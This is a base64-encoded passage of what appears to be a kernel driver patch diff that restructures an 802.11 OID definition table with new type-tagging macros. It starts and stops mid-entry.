SURfU1RSVUNUKDB4MDAwMDAwMDAsIHU4WzZdKSwKLQlbR0VOX09JRF9MSU5LU1RBVEVdID0gT0lE X1UzMigweDAwMDAwMDAxKSwKLQlbR0VOX09JRF9XQVRDSERPR10gPSBPSURfVU5LTk9XTigweDAw MDAwMDAyKSwKLQlbR0VOX09JRF9NSUJPUF0gPSBPSURfVU5LTk9XTigweDAwMDAwMDAzKSwKLQlb R0VOX09JRF9PUFRJT05TXSA9IE9JRF9VTktOT1dOKDB4MDAwMDAwMDQpLAotCVtHRU5fT0lEX0xF RENPTkZJR10gPSBPSURfVU5LTk9XTigweDAwMDAwMDA1KSwKKwlPSURfU1RSVUNUKEdFTl9PSURf TUFDQUREUkVTUywgMHgwMDAwMDAwMCwgdThbNl0sIE9JRF9UWVBFX0FERFIpLAorCU9JRF9VMzIo R0VOX09JRF9MSU5LU1RBVEUsIDB4MDAwMDAwMDEpLAorCU9JRF9VTktOT1dOKEdFTl9PSURfV0FU Q0hET0csIDB4MDAwMDAwMDIpLAorCU9JRF9VTktOT1dOKEdFTl9PSURfTUlCT1AsIDB4MDAwMDAw MDMpLAorCU9JRF9VTktOT1dOKEdFTl9PSURfT1BUSU9OUywgMHgwMDAwMDAwNCksCisJT0lEX1VO S05PV04oR0VOX09JRF9MRURDT05GSUcsIDB4MDAwMDAwMDUpLAogCiAJLyogODAyLjExICovCi0J W0RPVDExX09JRF9CU1NUWVBFXSA9IE9JRF9VMzJfQygweDEwMDAwMDAwKSwKLQlbRE9UMTFfT0lE X0JTU0lEXSA9IE9JRF9TVFJVQ1RfQygweDEwMDAwMDAxLCB1OFs2XSksCi0JW0RPVDExX09JRF9T U0lEXSA9IE9JRF9TVFJVQ1RfQygweDEwMDAwMDAyLCBzdHJ1Y3Qgb2JqX3NzaWQpLAotCVtET1Qx MV9PSURfU1RBVEVdID0gT0lEX1UzMigweDEwMDAwMDAzKSwKLQlbRE9UMTFfT0lEX0FJRF0gPSBP SURfVTMyKDB4MTAwMDAwMDQpLAotCVtET1QxMV9PSURfQ09VTlRSWVNUUklOR10gPSBPSURfU1RS VUNUKDB4MTAwMDAwMDUsIHU4WzRdKSwKLQlbRE9UMTFfT0lEX1NTSURPVkVSUklERV0gPSBPSURf U1RSVUNUX0MoMHgxMDAwMDAwNiwgc3RydWN0IG9ial9zc2lkKSwKLQotCVtET1QxMV9PSURfTUVE SVVNTElNSVRdID0gT0lEX1UzMigweDExMDAwMDAwKSwKLQlbRE9UMTFfT0lEX0JFQUNPTlBFUklP RF0gPSBPSURfVTMyX0MoMHgxMTAwMDAwMSksCi0JW0RPVDExX09JRF9EVElNUEVSSU9EXSA9IE9J RF9VMzIoMHgxMTAwMDAwMiksCi0JW0RPVDExX09JRF9BVElNV0lORE9XXSA9IE9JRF9VMzIoMHgx MTAwMDAwMyksCi0JW0RPVDExX09JRF9MSVNURU5JTlRFUlZBTF0gPSBPSURfVTMyKDB4MTEwMDAw MDQpLAotCVtET1QxMV9PSURfQ0ZQUEVSSU9EXSA9IE9JRF9VMzIoMHgxMTAwMDAwNSksCi0JW0RP VDExX09JRF9DRlBEVVJBVElPTl0gPSBPSURfVTMyKDB4MTEwMDAwMDYpLAotCi0JW0RPVDExX09J RF9BVVRIRU5BQkxFXSA9IE9JRF9VMzJfQygweDEyMDAwMDAwKSwKLQlbRE9UMTFfT0lEX1BSSVZB Q1lJTlZPS0VEXSA9IE9JRF9VMzJfQygweDEyMDAwMDAxKSwKLQlbRE9UMTFfT0lEX0VYVU5FTkNS WVBURURdID0gT0lEX1UzMl9DKDB4MTIwMDAwMDIpLAotCVtET1QxMV9PSURfREVGS0VZSURdID0g T0lEX1UzMl9DKDB4MTIwMDAwMDMpLAotCVtET1QxMV9PSURfREVGS0VZWF0gPSB7MHgxMjAwMDAw NCwgMywgc2l6ZW9mIChzdHJ1Y3Qgb2JqX2tleSksIE9JRF9GTEFHX0NBQ0hFRH0sCS8qIERPVDEx X09JRF9ERUZLRVkxLC4uLkRPVDExX09JRF9ERUZLRVk0ICovCi0JW0RPVDExX09JRF9TVEFLRVld ID0gT0lEX1VOS05PV04oMHgxMjAwMDAwOCksCi0JW0RPVDExX09JRF9SRUtFWVRIUkVTSE9MRF0g PSBPSURfVTMyKDB4MTIwMDAwMDkpLAotCVtET1QxMV9PSURfU1RBU0NdID0gT0lEX1VOS05PV04o MHgxMjAwMDAwYSksCi0KLQlbRE9UMTFfT0lEX1BSSVZUWFJFSkVDVEVEXSA9IE9JRF9VMzIoMHgx YTAwMDAwMCksCi0JW0RPVDExX09JRF9QUklWUlhQTEFJTl0gPSBPSURfVTMyKDB4MWEwMDAwMDEp LAotCVtET1QxMV9PSURfUFJJVlJYRkFJTEVEXSA9IE9JRF9VMzIoMHgxYTAwMDAwMiksCi0JW0RP VDExX09JRF9QUklWUlhOT0tFWV0gPSBPSURfVTMyKDB4MWEwMDAwMDMpLAotCi0JW0RPVDExX09J RF9SVFNUSFJFU0hdID0gT0lEX1UzMl9DKDB4MTMwMDAwMDApLAotCVtET1QxMV9PSURfRlJBR1RI UkVTSF0gPSBPSURfVTMyX0MoMHgxMzAwMDAwMSksCi0JW0RPVDExX09JRF9TSE9SVFJFVFJJRVNd ID0gT0lEX1UzMl9DKDB4MTMwMDAwMDIpLAotCVtET1QxMV9PSURfTE9OR1JFVFJJRVNdID0gT0lE X1UzMl9DKDB4MTMwMDAwMDMpLAotCVtET1QxMV9PSURfTUFYVFhMSUZFVElNRV0gPSBPSURfVTMy X0MoMHgxMzAwMDAwNCksCi0JW0RPVDExX09JRF9NQVhSWExJRkVUSU1FXSA9IE9JRF9VMzIoMHgx MzAwMDAwNSksCi0JW0RPVDExX09JRF9BVVRIUkVTUFRJTUVPVVRdID0gT0lEX1UzMigweDEzMDAw MDA2KSwKLQlbRE9UMTFfT0lEX0FTU09DUkVTUFRJTUVPVVRdID0gT0lEX1UzMigweDEzMDAwMDA3 KSwKLQotCVtET1QxMV9PSURfQUxPRlRfVEFCTEVdID0gT0lEX1VOS05PV04oMHgxZDAwMDAwMCks Ci0JW0RPVDExX09JRF9BTE9GVF9DVFJMX1RBQkxFXSA9IE9JRF9VTktOT1dOKDB4MWQwMDAwMDEp LAotCVtET1QxMV9PSURfQUxPRlRfUkVUUkVBVF0gPSBPSURfVU5LTk9XTigweDFkMDAwMDAyKSwK LQlbRE9UMTFfT0lEX0FMT0ZUX1BST0dSRVNTXSA9IE9JRF9VTktOT1dOKDB4MWQwMDAwMDMpLAot CVtET1QxMV9PSURfQUxPRlRfRklYRURSQVRFXSA9IE9JRF9VMzIoMHgxZDAwMDAwNCksCi0JW0RP VDExX09JRF9BTE9GVF9SU1NJR1JBUEhdID0gT0lEX1VOS05PV04oMHgxZDAwMDAwNSksCi0JW0RP VDExX09JRF9BTE9GVF9DT05GSUddID0gT0lEX1VOS05PV04oMHgxZDAwMDAwNiksCisJT0lEX1Uz Ml9DKERPVDExX09JRF9CU1NUWVBFLCAweDEwMDAwMDAwKSwKKwlPSURfU1RSVUNUX0MoRE9UMTFf T0lEX0JTU0lELCAweDEwMDAwMDAxLCB1OFs2XSwgT0lEX1RZUEVfU1NJRCksCisJT0lEX1NUUlVD VF9DKERPVDExX09JRF9TU0lELCAweDEwMDAwMDAyLCBzdHJ1Y3Qgb2JqX3NzaWQsCisJCSAgICAg T0lEX1RZUEVfU1NJRCksCisJT0lEX1UzMihET1QxMV9PSURfU1RBVEUsIDB4MTAwMDAwMDMpLAor CU9JRF9VMzIoRE9UMTFfT0lEX0FJRCwgMHgxMDAwMDAwNCksCisJT0lEX1NUUlVDVChET1QxMV9P SURfQ09VTlRSWVNUUklORywgMHgxMDAwMDAwNSwgdThbNF0sIE9JRF9UWVBFX1JBVyksCisJT0lE X1NUUlVDVF9DKERPVDExX09JRF9TU0lET1ZFUlJJREUsIDB4MTAwMDAwMDYsIHN0cnVjdCBvYmpf c3NpZCwKKwkJICAgICBPSURfVFlQRV9TU0lEKSwKKworCU9JRF9VMzIoRE9UMTFfT0lEX01FRElV TUxJTUlULCAweDExMDAwMDAwKSwKKwlPSURfVTMyX0MoRE9UMTFfT0lEX0JFQUNPTlBFUklPRCwg MHgxMTAwMDAwMSksCisJT0lEX1UzMihET1QxMV9PSURfRFRJTVBFUklPRCwgMHgxMTAwMDAwMiks CisJT0lEX1UzMihET1QxMV9PSURfQVRJTVdJTkRPVywgMHgxMTAwMDAwMyksCisJT0lEX1UzMihE T1QxMV9PSURfTElTVEVOSU5URVJWQUwsIDB4MTEwMDAwMDQpLAorCU9JRF9VMzIoRE9UMTFfT0lE X0NGUFBFUklPRCwgMHgxMTAwMDAwNSksCisJT0lEX1UzMihET1QxMV9PSURfQ0ZQRFVSQVRJT04s IDB4MTEwMDAwMDYpLAorCisJT0lEX1UzMl9DKERPVDExX09JRF9BVVRIRU5BQkxFLCAweDEyMDAw MDAwKSwKKwlPSURfVTMyX0MoRE9UMTFfT0lEX1BSSVZBQ1lJTlZPS0VELCAweDEyMDAwMDAxKSwK KwlPSURfVTMyX0MoRE9UMTFfT0lEX0VYVU5FTkNSWVBURUQsIDB4MTIwMDAwMDIpLAorCU9JRF9V MzJfQyhET1QxMV9PSURfREVGS0VZSUQsIDB4MTIwMDAwMDMpLAorCVtET1QxMV9PSURfREVGS0VZ WF0gPSB7MHgxMjAwMDAwNCwgMywgc2l6ZW9mIChzdHJ1Y3Qgb2JqX2tleSksCisJCQkgICAgICAg T0lEX0ZMQUdfQ0FDSEVEIHwgT0lEX1RZUEVfS0VZfSwJLyogRE9UMTFfT0lEX0RFRktFWTEsLi4u RE9UMTFfT0lEX0RFRktFWTQgKi8KKwlPSURfVU5LTk9XTihET1QxMV9PSURfU1RBS0VZLCAweDEy MDAwMDA4KSwKKwlPSURfVTMyKERPVDExX09JRF9SRUtFWVRIUkVTSE9MRCwgMHgxMjAwMDAwOSks CisJT0lEX1VOS05PV04oRE9UMTFfT0lEX1NUQVNDLCAweDEyMDAwMDBhKSwKKworCU9JRF9VMzIo RE9UMTFfT0lEX1BSSVZUWFJFSkVDVEVELCAweDFhMDAwMDAwKSwKKwlPSURfVTMyKERPVDExX09J RF9QUklWUlhQTEFJTiwgMHgxYTAwMDAwMSksCisJT0lEX1UzMihET1QxMV9PSURfUFJJVlJYRkFJ TEVELCAweDFhMDAwMDAyKSwKKwlPSURfVTMyKERPVDExX09JRF9QUklWUlhOT0tFWSwgMHgxYTAw MDAwMyksCisKKwlPSURfVTMyX0MoRE9UMTFfT0lEX1JUU1RIUkVTSCwgMHgxMzAwMDAwMCksCisJ T0lEX1UzMl9DKERPVDExX09JRF9GUkFHVEhSRVNILCAweDEzMDAwMDAxKSwKKwlPSURfVTMyX0Mo RE9UMTFfT0lEX1NIT1JUUkVUUklFUywgMHgxMzAwMDAwMiksCisJT0lEX1UzMl9DKERPVDExX09J RF9MT05HUkVUUklFUywgMHgxMzAwMDAwMyksCisJT0lEX1UzMl9DKERPVDExX09JRF9NQVhUWExJ RkVUSU1FLCAweDEzMDAwMDA0KSwKKwlPSURfVTMyKERPVDExX09JRF9NQVhSWExJRkVUSU1FLCAw eDEzMDAwMDA1KSwKKwlPSURfVTMyKERPVDExX09JRF9BVVRIUkVTUFRJTUVPVVQsIDB4MTMwMDAw MDYpLAorCU9JRF9VMzIoRE9UMTFfT0lEX0FTU09DUkVTUFRJTUVPVVQsIDB4MTMwMDAwMDcpLAor CisJT0lEX1VOS05PV04oRE9UMTFfT0lEX0FMT0ZUX1RBQkxFLCAweDFkMDAwMDAwKSwKKwlPSURf VU5LTk9XTihET1QxMV9PSURfQUxPRlRfQ1RSTF9UQUJMRSwgMHgxZDAwMDAwMSksCisJT0lEX1VO S05PV04oRE9UMTFfT0lEX0FMT0ZUX1JFVFJFQVQsIDB4MWQwMDAwMDIpLAorCU9JRF9VTktOT1dO KERPVDExX09JRF9BTE9GVF9QUk9HUkVTUywgMHgxZDAwMDAwMyksCisJT0lEX1UzMihET1QxMV9P SURfQUxPRlRfRklYRURSQVRFLCAweDFkMDAwMDA0KSwKKwlPSURfVU5LTk9XTihET1QxMV9PSURf QUxPRlRfUlNTSUdSQVBILCAweDFkMDAwMDA1KSwKKwlPSURfVU5LTk9XTihET1QxMV9PSURfQUxP RlRfQ09ORklHLCAweDFkMDAwMDA2KSwKIAogCVtET1QxMV9PSURfVkRDRlhdID0gezB4MWIwMDAw MDAsIDcsIDAsIDB9LAotCVtET1QxMV9PSURfTUFYRlJBTUVCVVJTVF0gPSBPSURfVTMyKDB4MWIw MDAwMDgpLCAvKiBpbiBtaWNyb3NlY29uZHMgKi8KKwlPSURfVTMyKERPVDExX09JRF9NQVhGUkFN RUJVUlNULCAweDFiMDAwMDA4KSwKIAotCVtET1QxMV9PSURfUFNNXSA9IE9JRF9VMzIoMHgxNDAw MDAwMCksCi0JW0RPVDExX09JRF9DQU1USU1FT1VUXSA9IE9JRF9VMzIoMHgxNDAwMDAwMSksCi0J W0RPVDExX09JRF9SRUNFSVZFRFRJTVNdID0gT0lEX1UzMigweDE0MDAwMDAyKSwKLQlbRE9UMTFf T0lEX1JPQU1QUkVGRVJFTkNFXSA9IE9JRF9VMzIoMHgxNDAwMDAwMyksCi0KLQlbRE9UMTFfT0lE X0JSSURHRUxPQ0FMXSA9IE9JRF9VMzIoMHgxNTAwMDAwMCksCi0JW0RPVDExX09JRF9DTElFTlRT XSA9IE9JRF9VMzIoMHgxNTAwMDAwMSksCi0JW0RPVDExX09JRF9DTElFTlRTQVNTT0NJQVRFRF0g PSBPSURfVTMyKDB4MTUwMDAwMDIpLAorCU9JRF9VMzIoRE9UMTFfT0lEX1BTTSwgMHgxNDAwMDAw MCksCisJT0lEX1UzMihET1QxMV9PSURfQ0FNVElNRU9VVCwgMHgxNDAwMDAwMSksCisJT0lEX1Uz MihET1QxMV9PSURfUkVDRUlWRURUSU1TLCAweDE0MDAwMDAyKSwKKwlPSURfVTMyKERPVDExX09J RF9ST0FNUFJFRkVSRU5DRSwgMHgxNDAwMDAwMyksCisKKwlPSURfVTMyKERPVDExX09JRF9CUklE R0VMT0NBTCwgMHgxNTAwMDAwMCksCisJT0lEX1UzMihET1QxMV9PSURfQ0xJRU5UUywgMHgxNTAw MDAwMSksCisJT0lEX1UzMihET1QxMV9PSURfQ0xJRU5UU0FTU09DSUFURUQsIDB4MTUwMDAwMDIp LAogCVtET1QxMV9PSURfQ0xJRU5UWF0gPSB7MHgxNTAwMDAwMywgMjAwNiwgMCwgMH0sCS8qIERP VDExX09JRF9DTElFTlRYLC4uLkRPVDExX09JRF9DTElFTlQyMDA3ICovCiAKLQlbRE9UMTFfT0lE X0NMSUVOVEZJTkRdID0gT0lEX1NUUlVDVCgweDE1MDAwN0RCLCB1OFs2XSksCi0JW0RPVDExX09J RF9XRFNMSU5LQUREXSA9IE9JRF9TVFJVQ1QoMHgxNTAwMDdEQywgdThbNl0pLAotCVtET1QxMV9P SURfV0RTTElOS1JFTU9WRV0gPSBPSURfU1RSVUNUKDB4MTUwMDA3REQsIHU4WzZdKSwKLQlbRE9U MTFfT0lEX0VBUEFVVEhTVEFdID0gT0lEX1NUUlVDVCgweDE1MDAwN0RFLCB1OFs2XSksCi0JW0RP VDExX09JRF9FQVBVTkFVVEhTVEFdID0gT0lEX1NUUlVDVCgweDE1MDAwN0RGLCB1OFs2XSksCi0J W0RPVDExX09JRF9ET1QxWEVOQUJMRV0gPSBPSURfVTMyX0MoMHgxNTAwMDdFMCksCi0JW0RPVDEx X09JRF9NSUNGQUlMVVJFXSA9IE9JRF9VTktOT1dOKDB4MTUwMDA3RTEpLAotCVtET1QxMV9PSURf UkVLRVlJTkRJQ0FURV0gPSBPSURfVU5LTk9XTigweDE1MDAwN0UyKSwKLQotCVtET1QxMV9PSURf TVBEVVRYU1VDQ0VTU0ZVTF0gPSBPSURfVTMyKDB4MTYwMDAwMDApLAotCVtET1QxMV9PSURfTVBE VVRYT05FUkVUUlldID0gT0lEX1UzMigweDE2MDAwMDAxKSwKLQlbRE9UMTFfT0lEX01QRFVUWE1V TFRJUExFUkVUUklFU10gPSBPSURfVTMyKDB4MTYwMDAwMDIpLAotCVtET1QxMV9PSURfTVBEVVRY RkFJTEVEXSA9IE9JRF9VMzIoMHgxNjAwMDAwMyksCi0JW0RPVDExX09JRF9NUERVUlhTVUNDRVNT RlVMXSA9IE9JRF9VMzIoMHgxNjAwMDAwNCksCi0JW0RPVDExX09JRF9NUERVUlhEVVBTXSA9IE9J RF9VMzIoMHgxNjAwMDAwNSksCi0JW0RPVDExX09JRF9SVFNTVUNDRVNTRlVMXSA9IE9JRF9VMzIo MHgxNjAwMDAwNiksCi0JW0RPVDExX09JRF9SVFNGQUlMRURdID0gT0lEX1UzMigweDE2MDAwMDA3 KSwKLQlbRE9UMTFfT0lEX0FDS0ZBSUxFRF0gPSBPSURfVTMyKDB4MTYwMDAwMDgpLAotCVtET1Qx MV9PSURfRlJBTUVSRUNFSVZFU10gPSBPSURfVTMyKDB4MTYwMDAwMDkpLAotCVtET1QxMV9PSURf RlJBTUVFUlJPUlNdID0gT0lEX1UzMigweDE2MDAwMDBBKSwKLQlbRE9UMTFfT0lEX0ZSQU1FQUJP UlRTXSA9IE9JRF9VMzIoMHgxNjAwMDAwQiksCi0JW0RPVDExX09JRF9GUkFNRUFCT1JUU1BIWV0g PSBPSURfVTMyKDB4MTYwMDAwMEMpLAotCi0JW0RPVDExX09JRF9TTE9UVElNRV0gPSBPSURfVTMy KDB4MTcwMDAwMDApLAotCVtET1QxMV9PSURfQ1dNSU5dID0gT0lEX1UzMigweDE3MDAwMDAxKSwK LQlbRE9UMTFfT0lEX0NXTUFYXSA9IE9JRF9VMzIoMHgxNzAwMDAwMiksCi0JW0RPVDExX09JRF9B Q0tXSU5ET1ddID0gT0lEX1UzMigweDE3MDAwMDAzKSwKLQlbRE9UMTFfT0lEX0FOVEVOTkFSWF0g PSBPSURfVTMyKDB4MTcwMDAwMDQpLAotCVtET1QxMV9PSURfQU5URU5OQVRYXSA9IE9JRF9VMzIo MHgxNzAwMDAwNSksCi0JW0RPVDExX09JRF9BTlRFTk5BRElWRVJTSVRZXSA9IE9JRF9VMzIoMHgx NzAwMDAwNiksCi0JW0RPVDExX09JRF9DSEFOTkVMXSA9IE9JRF9VMzJfQygweDE3MDAwMDA3KSwK LQlbRE9UMTFfT0lEX0VEVEhSRVNIT0xEXSA9IE9JRF9VMzJfQygweDE3MDAwMDA4KSwKLQlbRE9U MTFfT0lEX1BSRUFNQkxFU0VUVElOR1NdID0gT0lEX1UzMigweDE3MDAwMDA5KSwKLQlbRE9UMTFf T0lEX1JBVEVTXSA9IE9JRF9TVFJVQ1QoMHgxNzAwMDAwQSwgdThbSVdNQVhfQklUUkFURVMgKyAx XSksCi0JW0RPVDExX09JRF9DQ0FNT0RFU1VQUE9SVEVEXSA9IE9JRF9VMzIoMHgxNzAwMDAwQiks Ci0JW0RPVDExX09JRF9DQ0FNT0RFXSA9IE9JRF9VMzIoMHgxNzAwMDAwQyksCi0JW0RPVDExX09J RF9SU1NJVkVDVE9SXSA9IE9JRF9VMzIoMHgxNzAwMDAwRCksCi0JW0RPVDExX09JRF9PVVRQVVRQ T1dFUlRBQkxFXSA9IE9JRF9VMzIoMHgxNzAwMDAwRSksCi0JW0RPVDExX09JRF9PVVRQVVRQT1dF Ul0gPSBPSURfVTMyX0MoMHgxNzAwMDAwRiksCi0JW0RPVDExX09JRF9TVVBQT1JURURSQVRFU10g PQotCSAgICBPSURfU1RSVUNUKDB4MTcwMDAwMTAsIHU4W0lXTUFYX0JJVFJBVEVTICsgMV0pLAot CVtET1QxMV9PSURfRlJFUVVFTkNZXSA9IE9JRF9VMzJfQygweDE3MDAwMDExKSwKLQlbRE9UMTFf T0lEX1NVUFBPUlRFREZSRVFVRU5DSUVTXSA9IHsweDE3MDAwMDEyLCAwLCBzaXplb2YgKHN0cnVj dAotCQkJCQkJCQkgICBvYmpfZnJlcXVlbmNpZXMpCi0JCQkJCSAgICArIHNpemVvZiAodTE2KSAq IElXTUFYX0ZSRVEsIDB9LAotCi0JW0RPVDExX09JRF9OT0lTRUZMT09SXSA9IE9JRF9VMzIoMHgx NzAwMDAxMyksCi0JW0RPVDExX09JRF9GUkVRVUVOQ1lBQ1RJVklUWV0gPQotCSAgICBPSURfU1RS VUNUKDB4MTcwMDAwMTQsIHU4W0lXTUFYX0ZSRVEgKyAxXSksCi0JW0RPVDExX09JRF9JUUNBTElC UkFUSU9OVEFCTEVdID0gT0lEX1VOS05PV04oMHgxNzAwMDAxNSksCi0JW0RPVDExX09JRF9OT05F UlBQUk9URUNUSU9OXSA9IE9JRF9VMzIoMHgxNzAwMDAxNiksCi0JW0RPVDExX09JRF9TTE9UU0VU VElOR1NdID0gT0lEX1UzMigweDE3MDAwMDE3KSwKLQlbRE9UMTFfT0lEX05PTkVSUFRJTUVPVVRd ID0gT0lEX1UzMigweDE3MDAwMDE4KSwKLQlbRE9UMTFfT0lEX1BST0ZJTEVTXSA9IE9JRF9VMzIo MHgxNzAwMDAxOSksCi0JW0RPVDExX09JRF9FWFRFTkRFRFJBVEVTXSA9Ci0JICAgIE9JRF9TVFJV Q1QoMHgxNzAwMDAyMCwgdThbSVdNQVhfQklUUkFURVMgKyAxXSksCi0KLQlbRE9UMTFfT0lEX0RF QVVUSEVOVElDQVRFXSA9IE9JRF9TVFJVQ1RfTUxNRSgweDE4MDAwMDAwKSwKLQlbRE9UMTFfT0lE X0FVVEhFTlRJQ0FURV0gPSBPSURfU1RSVUNUX01MTUUoMHgxODAwMDAwMSksCi0JW0RPVDExX09J RF9ESVNBU1NPQ0lBVEVdID0gT0lEX1NUUlVDVF9NTE1FKDB4MTgwMDAwMDIpLAotCVtET1QxMV9P SURfQVNTT0NJQVRFXSA9IE9JRF9TVFJVQ1RfTUxNRSgweDE4MDAwMDAzKSwKLQlbRE9UMTFfT0lE X1NDQU5dID0gT0lEX1VOS05PV04oMHgxODAwMDAwNCksCi0JW0RPVDExX09JRF9CRUFDT05dID0g T0lEX1NUUlVDVF9NTE1FRVgoMHgxODAwMDAwNSksCi0JW0RPVDExX09JRF9QUk9CRV0gPSBPSURf U1RSVUNUX01MTUVFWCgweDE4MDAwMDA2KSwKLQlbRE9UMTFfT0lEX0RFQVVUSEVOVElDQVRFRVhd ID0gT0lEX1NUUlVDVF9NTE1FRVgoMHgxODAwMDAwNyksCi0JW0RPVDExX09JRF9BVVRIRU5USUNB VEVFWF0gPSBPSURfU1RSVUNUX01MTUVFWCgweDE4MDAwMDA4KSwKLQlbRE9UMTFfT0lEX0RJU0FT U09DSUFURUVYXSA9IE9JRF9TVFJVQ1RfTUxNRUVYKDB4MTgwMDAwMDkpLAotCVtET1QxMV9PSURf QVNTT0NJQVRFRVhdID0gT0lEX1NUUlVDVF9NTE1FRVgoMHgxODAwMDAwQSksCi0JW0RPVDExX09J RF9SRUFTU09DSUFURV0gPSBPSURfU1RSVUNUX01MTUVFWCgweDE4MDAwMDBCKSwKLQlbRE9UMTFf T0lEX1JFQVNTT0NJQVRFRVhdID0gT0lEX1NUUlVDVF9NTE1FRVgoMHgxODAwMDAwQyksCi0KLQlb RE9UMTFfT0lEX05PTkVSUFNUQVRVU10gPSBPSURfVTMyKDB4MUUwMDAwMDApLAotCi0JW0RPVDEx X09JRF9TVEFUSU1FT1VUXSA9IE9JRF9VMzIoMHgxOTAwMDAwMCksCi0JW0RPVDExX09JRF9NTE1F QVVUT0xFVkVMXSA9IE9JRF9VMzJfQygweDE5MDAwMDAxKSwKLQlbRE9UMTFfT0lEX0JTU1RJTUVP VVRdID0gT0lEX1UzMigweDE5MDAwMDAyKSwKLQlbRE9UMTFfT0lEX0FUVEFDSE1FTlRdID0gT0lE X1VOS05PV04oMHgxOTAwMDAwMyksCi0JW0RPVDExX09JRF9QU01CVUZGRVJdID0gT0lEX1NUUlVD VF9DKDB4MTkwMDAwMDQsIHN0cnVjdCBvYmpfYnVmZmVyKSwKLQotCVtET1QxMV9PSURfQlNTU10g PSBPSURfVTMyKDB4MUMwMDAwMDApLAotCVtET1QxMV9PSURfQlNTWF0gPSB7MHgxQzAwMDAwMSwg NjMsIHNpemVvZiAoc3RydWN0IG9ial9ic3MpLCAwfSwJLypET1QxMV9PSURfQlNTMSwuLi4sRE9U MTFfT0lEX0JTUzY0ICovCi0JW0RPVDExX09JRF9CU1NGSU5EXSA9IE9JRF9TVFJVQ1QoMHgxQzAw MDA0Miwgc3RydWN0IG9ial9ic3MpLAorCU9JRF9TVFJVQ1QoRE9UMTFfT0lEX0NMSUVOVEZJTkQs IDB4MTUwMDA3REIsIHU4WzZdLCBPSURfVFlQRV9BRERSKSwKKwlPSURfU1RSVUNUKERPVDExX09J RF9XRFNMSU5LQURELCAweDE1MDAwN0RDLCB1OFs2XSwgT0lEX1RZUEVfQUREUiksCisJT0lEX1NU UlVDVChET1QxMV9PSURfV0RTTElOS1JFTU9WRSwgMHgxNTAwMDdERCwgdThbNl0sIE9JRF9UWVBF X0FERFIpLAorCU9JRF9TVFJVQ1QoRE9UMTFfT0lEX0VBUEFVVEhTVEEsIDB4MTUwMDA3REUsIHU4 WzZdLCBPSURfVFlQRV9BRERSKSwKKwlPSURfU1RSVUNUKERPVDExX09JRF9FQVBVTkFVVEhTVEEs IDB4MTUwMDA3REYsIHU4WzZdLCBPSURfVFlQRV9BRERSKSwKKwlPSURfVTMyX0MoRE9UMTFfT0lE X0RPVDFYRU5BQkxFLCAweDE1MDAwN0UwKSwKKwlPSURfVU5LTk9XTihET1QxMV9PSURfTUlDRkFJ TFVSRSwgMHgxNTAwMDdFMSksCisJT0lEX1VOS05PV04oRE9UMTFfT0lEX1JFS0VZSU5ESUNBVEUs IDB4MTUwMDA3RTIpLAorCisJT0lEX1UzMihET1QxMV9PSURfTVBEVVRYU1VDQ0VTU0ZVTCwgMHgx NjAwMDAwMCksCisJT0lEX1UzMihET1QxMV9PSURfTVBEVVRYT05FUkVUUlksIDB4MTYwMDAwMDEp LAorCU9JRF9VMzIoRE9UMTFfT0lEX01QRFVUWE1VTFRJUExFUkVUUklFUywgMHgxNjAwMDAwMiks CisJT0lEX1UzMihET1QxMV9PSURfTVBEVVRYRkFJTEVELCAweDE2MDAwMDAzKSwKKwlPSURfVTMy KERPVDExX09JRF9NUERVUlhTVUNDRVNTRlVMLCAweDE2MDAwMDA0KSwKKwlPSURfVTMyKERPVDEx X09JRF9NUERVUlhEVVBTLCAweDE2MDAwMDA1KSwKKwlPSURfVTMyKERPVDExX09JRF9SVFNTVUND RVNTRlVMLCAweDE2MDAwMDA2KSwKKwlPSURfVTMyKERPVDExX09JRF9SVFNGQUlMRUQsIDB4MTYw MDAwMDcpLAorCU9JRF9VMzIoRE9UMTFfT0lEX0FDS0ZBSUxFRCwgMHgxNjAwMDAwOCksCisJT0lE X1UzMihET1QxMV9PSURfRlJBTUVSRUNFSVZFUywgMHgxNjAwMDAwOSksCisJT0lEX1UzMihET1Qx MV9PSURfRlJBTUVFUlJPUlMsIDB4MTYwMDAwMEEpLAorCU9JRF9VMzIoRE9UMTFfT0lEX0ZSQU1F QUJPUlRTLCAweDE2MDAwMDBCKSwKKwlPSURfVTMyKERPVDExX09JRF9GUkFNRUFCT1JUU1BIWSwg MHgxNjAwMDAwQyksCisKKwlPSURfVTMyKERPVDExX09JRF9TTE9UVElNRSwgMHgxNzAwMDAwMCks CisJT0lEX1UzMihET1QxMV9PSURfQ1dNSU4sIDB4MTcwMDAwMDEpLAorCU9JRF9VMzIoRE9UMTFf T0lEX0NXTUFYLCAweDE3MDAwMDAyKSwKKwlPSURfVTMyKERPVDExX09JRF9BQ0tXSU5ET1csIDB4 MTcwMDAwMDMpLAorCU9JRF9VMzIoRE9UMTFfT0lEX0FOVEVOTkFSWCwgMHgxNzAwMDAwNCksCisJ T0lEX1UzMihET1QxMV9PSURfQU5URU5OQVRYLCAweDE3MDAwMDA1KSwKKwlPSURfVTMyKERPVDEx X09JRF9BTlRFTk5BRElWRVJTSVRZLCAweDE3MDAwMDA2KSwKKwlPSURfVTMyX0MoRE9UMTFfT0lE X0NIQU5ORUwsIDB4MTcwMDAwMDcpLAorCU9JRF9VMzJfQyhET1QxMV9PSURfRURUSFJFU0hPTEQs IDB4MTcwMDAwMDgpLAorCU9JRF9VMzIoRE9UMTFfT0lEX1BSRUFNQkxFU0VUVElOR1MsIDB4MTcw MDAwMDkpLAorCU9JRF9TVFJVQ1QoRE9UMTFfT0lEX1JBVEVTLCAweDE3MDAwMDBBLCB1OFtJV01B WF9CSVRSQVRFUyArIDFdLAorCQkgICBPSURfVFlQRV9SQVcpLAorCU9JRF9VMzIoRE9UMTFfT0lE X0NDQU1PREVTVVBQT1JURUQsIDB4MTcwMDAwMEIpLAorCU9JRF9VMzIoRE9UMTFfT0lEX0NDQU1P REUsIDB4MTcwMDAwMEMpLAorCU9JRF9VTktOT1dOKERPVDExX09JRF9SU1NJVkVDVE9SLCAweDE3 MDAwMDBEKSwKKwlPSURfVU5LTk9XTihET1QxMV9PSURfT1VUUFVUUE9XRVJUQUJMRSwgMHgxNzAw MDAwRSksCisJT0lEX1UzMihET1QxMV9PSURfT1VUUFVUUE9XRVIsIDB4MTcwMDAwMEYpLAorCU9J RF9TVFJVQ1QoRE9UMTFfT0lEX1NVUFBPUlRFRFJBVEVTLCAweDE3MDAwMDEwLAorCQkgICB1OFtJ V01BWF9CSVRSQVRFUyArIDFdLCBPSURfVFlQRV9SQVcpLAorCU9JRF9VMzJfQyhET1QxMV9PSURf RlJFUVVFTkNZLCAweDE3MDAwMDExKSwKKwlbRE9UMTFfT0lEX1NVUFBPUlRFREZSRVFVRU5DSUVT 